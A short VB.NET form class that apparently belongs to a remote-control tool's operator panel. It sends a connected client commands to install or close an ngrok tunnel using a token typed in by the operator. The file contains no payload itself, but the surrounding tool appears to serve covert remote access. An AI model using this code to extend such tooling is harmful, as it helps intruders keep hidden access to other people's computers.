Imports System.Threading

Public Class ngrok

    Public C As Client
    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        Try
            If Not C.IsConnected Then
                Close()
            End If
        Catch ex As Exception
            Debug.WriteLine(ex.Message)
        End Try
    End Sub

    Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
        Try
            'Dim Url As String = SettingsHelper.KeyAuthApp.var("ngrok")
            Dim Url As String = String.Empty
            Dim Token As String = Guna2TextBox1.Text

            Dim B As Byte() = SB("InstallNgrok" & SettingsHelper.SPL & Url & SettingsHelper.SPL & Token)
            ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
        Catch ex As Exception
            MessageBox.Show(ex.Message)
        End Try
    End Sub

    Private Sub ngrok_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
        Dim B As Byte() = SB("CloseNgrok")
        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
    End Sub
End Class